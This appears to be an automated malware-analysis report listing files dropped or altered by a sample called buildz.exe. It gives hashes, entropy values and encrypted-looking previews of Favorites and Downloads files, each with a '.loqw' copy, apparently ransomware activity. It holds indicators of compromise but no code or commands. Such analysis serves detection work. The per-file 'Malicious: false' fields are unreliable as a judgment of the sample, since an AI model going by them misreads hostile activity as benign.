C:\Users\user\Downloads\YPSIACHYXW.mp3.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834229417568938
Encrypted:	false
SSDEEP:	24:fPtWomEciimHUaoZxpwbgzgS5Ok4Iuj5XlX7hb9mUaXZBppYdec59VLDzDpjbD:fPtWXGiwUao7pww5juJlX7xwHcrLVnzB
MD5:	D59D187196190917E66EC3569AAACF98
SHA1:	FF08E527871D75D04A690C0FE59303FA4C6F8C71
SHA-256:	269BD190D6817BEAAF2FCAAF36B10B918EDDBDE871067E63CB84902B990E6CB3
SHA-512:	B0855A94282531A6C82AC249C5B10C9CB4AF2F5D603081B7DC350550EE7DC2A513E9B0D6B7F1988C22CDD0EC52A7873C33B65DF0C09D0B64BE3973E268FF973C
Malicious:	false
Reputation:	unknown
Preview:	YPSIA.....M.c...f.F....x.@u#..x..\....;U..z.{.w$..<.L#..S...n'.VL24..."._4m...+...... IZ.}..x..........i.....e^.$.(...F....k..d1b...+...7w...QFM....}P..b._@...[...#.........B..;.=b.L.A.Q.W.....t..?...j./....gkh......Ky..r...Z......Qn..b@....].^5\...].....I.).]....=.........9d.[...[9.2p^..Q._.-....i[...ri?...K..O........;c^..4...D...._?k...rT....Z.....+...Uz..]...!#.6.....S\.7..."..:.V.;d9..,t.Q..m?.e.._...5.B.`..4..W.j..%.<"...J_.^......om..g\.)Q........V..FbO..(.z.7VT&U..X..;k:e...g..0(..-.b..\m.M.V.7..r......X..dm..t%.M...H....I@qPwX.....A...\....j.G.0...0..n.n-..a..:...1.._..... X...K...DAWqD.......,i)F3".aJ..g7.w.3#x.\4.\|YD...Y9......Iy_.7PMJ...7..^.EG.....&..`...y....{}.....a7.'..f.<1B..N...G+..i.....df........Q...E...4@....%j.~..^...T...p....z..L].~5...2.w..w...}.....t.m....#G..=<.0T....Vm.a...#..!.w...P.\..7.{...\.!.q\|.....`S.v}~....=G(..\.k...0]r..Ln:..... ...W....0.~!....[......!p=.......5&..ko.<..m+$.G.\Q.d..=

C:\Users\user\Downloads\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83874286657054
Encrypted:	false
SSDEEP:	24:HUn19AbF/9zk7UfZ0dpf5e+Iy9wp59FWrmQDolZboSmN+iUCMbD:HUYbFVzk7UABe+viWjgZboVKCGD
MD5:	53CC158B7763C8A252AA06E72D490274
SHA1:	AE17F379C85201D435736FBDC3FD5F1E107464B2
SHA-256:	94B52BD46A2F72BE752964E316D6F653CE9C4FE7ED02784811F8A017074556FE
SHA-512:	9C17A9BFD8FB230BD0069F787269F7FD00E68A28304ED69067A9750C9A45967604340DD8F6496D52853301822EDD11D49F8ABA93929B95BFFBE2368B94B4E5AD
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC..y........$T.P sb]....`.:TJsoH}..q..KXd.s)l.Y4..0f....~.G..;(.Xme...n3.\...3.r\.<..7ab....J.n.g.......v..V3..i/k..gt..K....].:.p.cZ.(.....,.R....3.L.o.....jC.......0......4.M.. ....fK......d..n.W..PXmK...y..&E6.&Gw.##..k.G3...o.T..K......W...r..Bo.7...#.!Y....\...\|^#.....,A.....P...<k.4]...(.V.....-..D.. ...K.. .:v..g`^..h...UUW.u.....Z...!.dH.....)..=.Rk.......=..g.r.R ....._...l@VZ..d......u.....?X..].....hh...e.l.j..6.l..sq..F.9..L.ofLg.Wp...V..:.''Vs9mV.....o8......D..V.'....(..Y...M.#...=..QN..n....u..........#..,.H)..JR..c.E.c nd...@6.D....zU..G..V........DB.'.Y)....+.?......Y-6.k......Rn....&.q\|....00.k)....@K.:.)..NP.....#....<...B....*j1%.....b.ML...E(.^..^.d.h..P...r...\..\|..y5....+.1X.. .....L.e.....$.Ti+.9D...b.b. ..J...^N.._..psi...H.....>.i1.2.<.......F.....!j..FFZ.ewf...^H..w..T'.. ..Ps\|...D.....)...l.Zx..RQOp..LT......O....R%.0.........L.VQ...hq..w.TU.MU.R..]..'..=....'....<.:).....7..&.U....T...\...Q1I&.

C:\Users\user\Downloads\ZBEDCJPBEY.png.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83874286657054
Encrypted:	false
SSDEEP:	24:HUn19AbF/9zk7UfZ0dpf5e+Iy9wp59FWrmQDolZboSmN+iUCMbD:HUYbFVzk7UABe+viWjgZboVKCGD
MD5:	53CC158B7763C8A252AA06E72D490274
SHA1:	AE17F379C85201D435736FBDC3FD5F1E107464B2
SHA-256:	94B52BD46A2F72BE752964E316D6F653CE9C4FE7ED02784811F8A017074556FE
SHA-512:	9C17A9BFD8FB230BD0069F787269F7FD00E68A28304ED69067A9750C9A45967604340DD8F6496D52853301822EDD11D49F8ABA93929B95BFFBE2368B94B4E5AD
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC..y........$T.P sb]....`.:TJsoH}..q..KXd.s)l.Y4..0f....~.G..;(.Xme...n3.\...3.r\.<..7ab....J.n.g.......v..V3..i/k..gt..K....].:.p.cZ.(.....,.R....3.L.o.....jC.......0......4.M.. ....fK......d..n.W..PXmK...y..&E6.&Gw.##..k.G3...o.T..K......W...r..Bo.7...#.!Y....\...\|^#.....,A.....P...<k.4]...(.V.....-..D.. ...K.. .:v..g`^..h...UUW.u.....Z...!.dH.....)..=.Rk.......=..g.r.R ....._...l@VZ..d......u.....?X..].....hh...e.l.j..6.l..sq..F.9..L.ofLg.Wp...V..:.''Vs9mV.....o8......D..V.'....(..Y...M.#...=..QN..n....u..........#..,.H)..JR..c.E.c nd...@6.D....zU..G..V........DB.'.Y)....+.?......Y-6.k......Rn....&.q\|....00.k)....@K.:.)..NP.....#....<...B....*j1%.....b.ML...E(.^..^.d.h..P...r...\..\|..y5....+.1X.. .....L.e.....$.Ti+.9D...b.b. ..J...^N.._..psi...H.....>.i1.2.<.......F.....!j..FFZ.ewf...^H..w..T'.. ..Ps\|...D.....)...l.Zx..RQOp..LT......O....R%.0.........L.VQ...hq..w.TU.MU.R..]..'..=....'....<.:).....7..&.U....T...\...Q1I&.

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.464137412627227
Encrypted:	false
SSDEEP:	12:Hu1SswMMvbPDnXqhyxfEN1MrhhmKMMnGAp8b+c1+cii9a:ySsAvbPuhyxMHMrXbMcGG5XbD
MD5:	29420D98505DD573B1B164D283CF007A
SHA1:	2C6787E0C63D41DD2C8599656ADD42A1F741ADA4
SHA-256:	E4ABE10FD5FE4AE30BF117670C98CDD83C973191F321B693DAB475805AECF7EC
SHA-512:	B55419C4290241DD106399FABC30C34A02A9F552CCEE275488763FB77E3BDBC71920B53FCCD565530C5592D871327B8E0BD8D274CCE635FE7A6E94AA5FB258AC
Malicious:	false
Reputation:	unknown
Preview:	[{000..V2o....... r..f%..t..k..k...j..oqXH....a.]...o.Il.l..g.~K..\|.....}9.+.s%.r.5.....r.u.x+.4...s...8...EZ.jA.A/T.k..\..i.9..$g....tO....Y.e...\|-.1......>......`gd..>(M...1....Q...-.z.%<?.tv.i3....6n.......!g..'.6y?7...K..L......p..O..F....$....E...I...D&.^.......M....d.${.z@....%.^e..n..(..+ ......z..H... ....o...%../B..6.,..x.....)..o..!2.I...{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.464137412627227
Encrypted:	false
SSDEEP:	12:Hu1SswMMvbPDnXqhyxfEN1MrhhmKMMnGAp8b+c1+cii9a:ySsAvbPuhyxMHMrXbMcGG5XbD
MD5:	29420D98505DD573B1B164D283CF007A
SHA1:	2C6787E0C63D41DD2C8599656ADD42A1F741ADA4
SHA-256:	E4ABE10FD5FE4AE30BF117670C98CDD83C973191F321B693DAB475805AECF7EC
SHA-512:	B55419C4290241DD106399FABC30C34A02A9F552CCEE275488763FB77E3BDBC71920B53FCCD565530C5592D871327B8E0BD8D274CCE635FE7A6E94AA5FB258AC
Malicious:	false
Reputation:	unknown
Preview:	[{000..V2o....... r..f%..t..k..k...j..oqXH....a.]...o.Il.l..g.~K..\|.....}9.+.s%.r.5.....r.u.x+.4...s...8...EZ.jA.A/T.k..\..i.9..$g....tO....Y.e...\|-.1......>......`gd..>(M...1....Q...-.z.%<?.tv.i3....6n.......!g..'.6y?7...K..L......p..O..F....$....E...I...D&.^.......M....d.${.z@....%.^e..n..(..+ ......z..H... ....o...%../B..6.,..x.....)..o..!2.I...{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.57380164436319
Encrypted:	false
SSDEEP:	12:YbIexFdijTeTa0YPKFGe78GwKqQdZFhQPI1+cii9a:Yb3FdiHe2037XAKHhQrbD
MD5:	0347475BAE8C52DB31E530F76CAF84D9
SHA1:	E75E8F31009D7E11C2B8735F9BABEBC29E7B60D9
SHA-256:	F2A86B7BC56188101FDD5D31CF1088EB9EA9771B701C9B20EF2DAFCF9ACB2F31
SHA-512:	3366705F6B21F231375F17BCAB15B71EF4067219CA23C40DF7B8E5D4B8B10A8DC40D55136B705859A8C923C5A827292EB22DE1B15577D1CB4CDC8F67E92B32BC
Malicious:	false
Reputation:	unknown
Preview:	[{000...#..`D&.Y.N.......].O).O:..9[.......9+UnN...0...a:m.XW..o.:.N.b..?.4.k...../m._ii.";..1.'...>g9f..G.P....H..v.9..3"t...H...\|V=..Id...-Y...0p.{\. ..C....h..i..2i#.,s Xp....x..%J.>!>C(R5.2.S......0..m.}...P!p..P...D=.v.E.".8....0x.._q8.41.5.,..I....../...a.b...o.......h.I.... ........}%B.G.... NW.j.F..r.......+..Z~l."c...Z..d.B.h......d..T..B7.uN...h..20'....{....eC.%....P.d..B..p..A.`P.J.....-f...#...(.......6._*...>...QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.57380164436319
Encrypted:	false
SSDEEP:	12:YbIexFdijTeTa0YPKFGe78GwKqQdZFhQPI1+cii9a:Yb3FdiHe2037XAKHhQrbD
MD5:	0347475BAE8C52DB31E530F76CAF84D9
SHA1:	E75E8F31009D7E11C2B8735F9BABEBC29E7B60D9
SHA-256:	F2A86B7BC56188101FDD5D31CF1088EB9EA9771B701C9B20EF2DAFCF9ACB2F31
SHA-512:	3366705F6B21F231375F17BCAB15B71EF4067219CA23C40DF7B8E5D4B8B10A8DC40D55136B705859A8C923C5A827292EB22DE1B15577D1CB4CDC8F67E92B32BC
Malicious:	false
Reputation:	unknown
Preview:	[{000...#..`D&.Y.N.......].O).O:..9[.......9+UnN...0...a:m.XW..o.:.N.b..?.4.k...../m._ii.";..1.'...>g9f..G.P....H..v.9..3"t...H...\|V=..Id...-Y...0p.{\. ..C....h..i..2i#.,s Xp....x..%J.>!>C(R5.2.S......0..m.}...P!p..P...D=.v.E.".8....0x.._q8.41.5.,..I....../...a.b...o.......h.I.... ........}%B.G.... NW.j.F..r.......+..Z~l."c...Z..d.B.h......d..T..B7.uN...h..20'....{....eC.%....P.d..B..p..A.`P.J.....-f...#...(.......6._*...>...QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.5230985851572125
Encrypted:	false
SSDEEP:	12:6mVpMll7Upx959zSrV8cboMJ15e2z1+cii9a:ZHMl5Upx95hSj77I/bD
MD5:	A12AACB6C14195996ABA101F189B8BF4
SHA1:	500F027BC1C83251D3D0638A2850CF5F70C68AE5
SHA-256:	FB6EB15D097E45E2DA766B32BED6ECC03F1D1A6C91FD102CD09B7FC30653858A
SHA-512:	FC5452AF2E4BE1F25C2AC14D72426AC6E46A075F0C315EE0996B968B51F3BA12BC8C8E54EFB01BB8F283764D24F22C4637CC94195E3854DD2B0150A536A409E2
Malicious:	false
Reputation:	unknown
Preview:	[{000ET..d.P..x.9...W.....z...B.$..-]..>"..k=..)h...I.\......fO..8._..H..m...1?5.6O+.}..).......L.5..k.{llg...'l.-.......... e.V.\.......b.Y.b....wD."...3..........^.zNK.+..f..S....,.7..b%.8.n...q.J_..\|.............#.L...8..Ep.@l...8..,&f...F8(A...l..x..H...i.Bs.3...]c..I.eY............J/<nE/.L...x.c:......AG..G.M...1..?..'............}.MbI.e_SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.5230985851572125
Encrypted:	false
SSDEEP:	12:6mVpMll7Upx959zSrV8cboMJ15e2z1+cii9a:ZHMl5Upx95hSj77I/bD
MD5:	A12AACB6C14195996ABA101F189B8BF4
SHA1:	500F027BC1C83251D3D0638A2850CF5F70C68AE5
SHA-256:	FB6EB15D097E45E2DA766B32BED6ECC03F1D1A6C91FD102CD09B7FC30653858A
SHA-512:	FC5452AF2E4BE1F25C2AC14D72426AC6E46A075F0C315EE0996B968B51F3BA12BC8C8E54EFB01BB8F283764D24F22C4637CC94195E3854DD2B0150A536A409E2
Malicious:	false
Reputation:	unknown
Preview:	[{000ET..d.P..x.9...W.....z...B.$..-]..>"..k=..)h...I.\......fO..8._..H..m...1?5.6O+.}..).......L.5..k.{llg...'l.-.......... e.V.\.......b.Y.b....wD."...3..........^.zNK.+..f..S....,.7..b%.8.n...q.J_..\|.............#.L...8..Ep.@l...8..,&f...F8(A...l..x..H...i.Bs.3...]c..I.eY............J/<nE/.L...x.c:......AG..G.M...1..?..'............}.MbI.e_SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.49853583982149
Encrypted:	false
SSDEEP:	12:OYfxS5sbz8zHtI85JJGCgypfjn11+cii9a:OYJn8zNXE9ypbnubD
MD5:	C400ABDF9708E6178EEA032B06982E9D
SHA1:	DBCFCE328842A9BAE0D72B8255C9DA97A16E82E7
SHA-256:	6B1FCE04EAC98FF9BCF3C936182780590FF2BF37B6BB6FB963CB5E1883F2C241
SHA-512:	A5342591424FCC13129A229F4DE6DE5C05ECA13EAAEBE222DA26A3126EE54F9078AA8EE7402EB781584B03830AF12881B378501E1BF197A701FD82542EA366C7
Malicious:	false
Reputation:	unknown
Preview:	[{000T.\..t.....G....s(...c..l.../.~....6,....[.L....@..8S..t#.ss......SvS.....sJM.j......('.u4...e..`.I..Y.kU..) ...m.@.}....2....q...zJ.AJvPl..u....Y.#...i!"Y,.y..e..y.....nF..^....V.7N....z.c....T.U..^...8.......m.L......C......M.en..J..u8Z\.ViH$.....MX...^..b..u....\...{f..:E.Q.6...NHvF{Qy\|..+o.-.. rEE..EC....RB.....1\|..5d...9.>.tfbt....$.."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.49853583982149
Encrypted:	false
SSDEEP:	12:OYfxS5sbz8zHtI85JJGCgypfjn11+cii9a:OYJn8zNXE9ypbnubD
MD5:	C400ABDF9708E6178EEA032B06982E9D
SHA1:	DBCFCE328842A9BAE0D72B8255C9DA97A16E82E7
SHA-256:	6B1FCE04EAC98FF9BCF3C936182780590FF2BF37B6BB6FB963CB5E1883F2C241
SHA-512:	A5342591424FCC13129A229F4DE6DE5C05ECA13EAAEBE222DA26A3126EE54F9078AA8EE7402EB781584B03830AF12881B378501E1BF197A701FD82542EA366C7
Malicious:	false
Reputation:	unknown
Preview:	[{000T.\..t.....G....s(...c..l.../.~....6,....[.L....@..8S..t#.ss......SvS.....sJM.j......('.u4...e..`.I..Y.kU..) ...m.@.}....2....q...zJ.AJvPl..u....Y.#...i!"Y,.y..e..y.....nF..^....V.7N....z.c....T.U..^...8.......m.L......C......M.en..J..u8Z\.ViH$.....MX...^..b..u....\...{f..:E.Q.6...NHvF{Qy\|..+o.-.. rEE..EC....RB.....1\|..5d...9.>.tfbt....$.."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.429673988672688
Encrypted:	false
SSDEEP:	12:Ggyf6UjWzHfKq9aYu5eFgwSVuKZb0tMSAgB+i+f1+cii9a:G7yRDyqu5e+VvqMSF+FsbD
MD5:	A98592136F0F51DE91F92357E8C15AB4
SHA1:	519F0EEFB5F4E98C7B26ECAF558FB3C5D95200CC
SHA-256:	DCAD0290D93461FC4739749500481BBDE2A2824A3DE8536D126546650C5F3A31
SHA-512:	DD7659805AD837A2C461BDF2CC18970F1B36C3585262B17083A3B960E343C222937CE95DC123154566A3BD84E18E172186641BCEA9E1EE2602044843663C2D49
Malicious:	false
Reputation:	unknown
Preview:	[{000..5../H...~.%.yAd* .a..+...$@.V.....#i0u2~.o..._7..:c....<.e~....?.......<K.....R...6.f.Nx..j......1..r....``..q$..L.u..Rz....w0.K:r...%...`O.{.(..3...9..%..kE....R._Z...\1&pH~.6r..@....p..+....M.'.).-..G......{.e.."p..Sq..\.p.~...!.Mb,.s.b....7....Q.yH..^.`nW.3r.......{..z.<.iF.....+.7)..<..YU?v.F.{..Y.qY..g.D.d.8._6.==...q..<....Y...\J.yfSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.429673988672688
Encrypted:	false
SSDEEP:	12:Ggyf6UjWzHfKq9aYu5eFgwSVuKZb0tMSAgB+i+f1+cii9a:G7yRDyqu5e+VvqMSF+FsbD
MD5:	A98592136F0F51DE91F92357E8C15AB4
SHA1:	519F0EEFB5F4E98C7B26ECAF558FB3C5D95200CC
SHA-256:	DCAD0290D93461FC4739749500481BBDE2A2824A3DE8536D126546650C5F3A31
SHA-512:	DD7659805AD837A2C461BDF2CC18970F1B36C3585262B17083A3B960E343C222937CE95DC123154566A3BD84E18E172186641BCEA9E1EE2602044843663C2D49
Malicious:	false
Reputation:	unknown
Preview:	[{000..5../H...~.%.yAd* .a..+...$@.V.....#i0u2~.o..._7..:c....<.e~....?.......<K.....R...6.f.Nx..j......1..r....``..q$..L.u..Rz....w0.K:r...%...`O.{.(..3...9..%..kE....R._Z...\1&pH~.6r..@....p..+....M.'.).-..G......{.e.."p..Sq..\.p.~...!.Mb,.s.b....7....Q.yH..^.`nW.3r.......{..z.<.iF.....+.7)..<..YU?v.F.{..Y.qY..g.D.d.8._6.==...q..<....Y...\J.yfSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.506234038152479
Encrypted:	false
SSDEEP:	12:yhRBshYHipQvfb5vdqcsMgcsZZDCtEJrq1+cii9a:UshivzBCMgXDFJxbD
MD5:	FB87C1578D22E03DC43F4F730FC91984
SHA1:	219591772448A69C42544ECB3B8FBE9743762F06
SHA-256:	DDB7732781B10545EBC0717C02D3C001571FCFD6FBA812A90506F522CDD9D22B
SHA-512:	EE042900E88127211873E77EA2C17327C26C9EE768DFB7A8028AE0301DEBC5B5C9AAADA8A966D23C5D9C73436B61DD01D826F2FB774DB9F7AA39B10BA94129E0
Malicious:	false
Reputation:	unknown
Preview:	[{000.GG.'1...m.hWml.N.!Kt..G..$..m..7.......$..w....g.......K ..."..&x..@.GU.a....Q.p......"6s........RO.. .1X..nO.j..j>.\|.e..C..l#.L7..![..6...x.....o.[F$..k..=..I.x....G.J...}.!7...!P.i...q...)..?..qI...<.E...">{....8...p=.f..{.].8.z.N...UVc...a..d..a....._zc,e......F~sI...@3't._..7}.'..4...<+J#.;(._.G....?.6.!2..w.....?.>......h7..3..y.Q.?1.$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.506234038152479
Encrypted:	false
SSDEEP:	12:yhRBshYHipQvfb5vdqcsMgcsZZDCtEJrq1+cii9a:UshivzBCMgXDFJxbD
MD5:	FB87C1578D22E03DC43F4F730FC91984
SHA1:	219591772448A69C42544ECB3B8FBE9743762F06
SHA-256:	DDB7732781B10545EBC0717C02D3C001571FCFD6FBA812A90506F522CDD9D22B
SHA-512:	EE042900E88127211873E77EA2C17327C26C9EE768DFB7A8028AE0301DEBC5B5C9AAADA8A966D23C5D9C73436B61DD01D826F2FB774DB9F7AA39B10BA94129E0
Malicious:	false
Reputation:	unknown
Preview:	[{000.GG.'1...m.hWml.N.!Kt..G..$..m..7.......$..w....g.......K ..."..&x..@.GU.a....Q.p......"6s........RO.. .1X..nO.j..j>.\|.e..C..l#.L7..![..6...x.....o.[F$..k..=..I.x....G.J...}.!7...!P.i...q...)..?..qI...<.E...">{....8...p=.f..{.].8.z.N...UVc...a..d..a....._zc,e......F~sI...@3't._..7}.'..4...<+J#.;(._.G....?.6.!2..w.....?.>......h7..3..y.Q.?1.$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.552416541874742
Encrypted:	false
SSDEEP:	12:eDoEHA/56UW5BZyGWxyHd+kow0Hmh1+cii9a:jEosUW5gx0dCGabD
MD5:	1E62079D94BD7225D09E430FD7E9D20F
SHA1:	32CC4BD381156906DA5CB07FA075BA615F1A3AA9
SHA-256:	119820F9CDD16B5DABCC0A05045FA45D1A1D58728A3C5101047FBC4CC6EDD3C4
SHA-512:	7CF26313194C8FFF87F98123D5F74649E061374E78078A2F77CAF8C24A46EE94E2F8CA1286E40E5B29BF746547BCFDA767FB1E0259ED91F26F2AF96AD01FBA3E
Malicious:	false
Reputation:	unknown
Preview:	[{000..=..p..3...H..:......6.51.ZX..V_.=Qr].\|.Ux~t....".....^.3.;5F.....!A.........V..(..M..E....g.k[f...k......,l.....a\a#...S..E..Q..F.A}=G.^]&.^.y...p$..5h...q..m.....:.k.......m.M.$..>......U...CRmw...J.....?.(.3...w..\.1.Ti.t\..n....m.]e.....bup.} .......e...;...+...x2#...{\.........q..d......%{L.....p.3..u.F....l.....U..pf..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.552416541874742
Encrypted:	false
SSDEEP:	12:eDoEHA/56UW5BZyGWxyHd+kow0Hmh1+cii9a:jEosUW5gx0dCGabD
MD5:	1E62079D94BD7225D09E430FD7E9D20F
SHA1:	32CC4BD381156906DA5CB07FA075BA615F1A3AA9
SHA-256:	119820F9CDD16B5DABCC0A05045FA45D1A1D58728A3C5101047FBC4CC6EDD3C4
SHA-512:	7CF26313194C8FFF87F98123D5F74649E061374E78078A2F77CAF8C24A46EE94E2F8CA1286E40E5B29BF746547BCFDA767FB1E0259ED91F26F2AF96AD01FBA3E
Malicious:	false
Reputation:	unknown
Preview:	[{000..=..p..3...H..:......6.51.ZX..V_.=Qr].\|.Ux~t....".....^.3.;5F.....!A.........V..(..M..E....g.k[f...k......,l.....a\a#...S..E..Q..F.A}=G.^]&.^.y...p$..5h...q..m.....:.k.......m.M.$..>......U...CRmw...J.....?.(.3...w..\.1.Ti.t\..n....m.]e.....bup.} .......e...;...+...x2#...{\.........q..d......%{L.....p.3..u.F....l.....U..pf..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.425693363915239
Encrypted:	false
SSDEEP:	12:OOVCZ3BdJx5LyqmArKE7f2esreneA1+cii9a:HA3XJx5WqF+EDkrYe7bD
MD5:	E657177599FCDC8C05030F855833A418
SHA1:	91F040B2BFA89921644328FC70407BF038A263A8
SHA-256:	790A5787521AD8385A28549617A90F6CAEE103F6758A01F9CFC1FE4F8A4A9AFC
SHA-512:	37B0AC373D1E2E988180BDB044F12A21B60DEBDE0D1AFA537ABA27BF55D05C407CBAA8D08F42D25FCEEBF3BBAA64E0E9C35FCEA143E310A5DBE597097C1BB6E8
Malicious:	false
Reputation:	unknown
Preview:	[{000&.R.......7.f.GXWo.......#H...R%S...C..].....,..."s.....K..7.d.Y....V.\|."0m.>g.u.`....AHe...i&..,...`.........8.,.L...3_.dVj?.nW`..U..uDm...q..8.s.g...,..J..)(..8..$A...8....R.H.A........9.l...e.G.,i../.i8..\....lln........<.y...YB).Sw^;r.!.l.a.1....LL.....8..\xa......*...d.:i..D...F;Y...>. .d...R........V5.a...8P.{...qL.X.[rt.V6y..#.f...lSP.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.425693363915239
Encrypted:	false
SSDEEP:	12:OOVCZ3BdJx5LyqmArKE7f2esreneA1+cii9a:HA3XJx5WqF+EDkrYe7bD
MD5:	E657177599FCDC8C05030F855833A418
SHA1:	91F040B2BFA89921644328FC70407BF038A263A8
SHA-256:	790A5787521AD8385A28549617A90F6CAEE103F6758A01F9CFC1FE4F8A4A9AFC
SHA-512:	37B0AC373D1E2E988180BDB044F12A21B60DEBDE0D1AFA537ABA27BF55D05C407CBAA8D08F42D25FCEEBF3BBAA64E0E9C35FCEA143E310A5DBE597097C1BB6E8
Malicious:	false
Reputation:	unknown
Preview:	[{000&.R.......7.f.GXWo.......#H...R%S...C..].....,..."s.....K..7.d.Y....V.\|."0m.>g.u.`....AHe...i&..,...`.........8.,.L...3_.dVj?.nW`..U..uDm...q..8.s.g...,..J..)(..8..$A...8....R.H.A........9.l...e.G.,i../.i8..\....lln........<.y...YB).Sw^;r.!.l.a.1....LL.....8..\xa......*...d.:i..D...F;Y...>. .d...R........V5.a...8P.{...qL.X.[rt.V6y..#.f...lSP.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.453599267110602
Encrypted:	false
SSDEEP:	12:hAilRlzxsf/ymks7msi5aK8gjr0Qj+f1+cii9a:hAixzxsfamvCkKRjrPj+sbD
MD5:	90D3D8EBA5B0D95959AE3BCF4C885F19
SHA1:	0F0420BD0D99E676EC09355C5D4BB42B21F7C1DA
SHA-256:	EA36F831BD8B10C9EB5C215461FA532A607939AAED1A74915CF0B2D61DE0F4C6
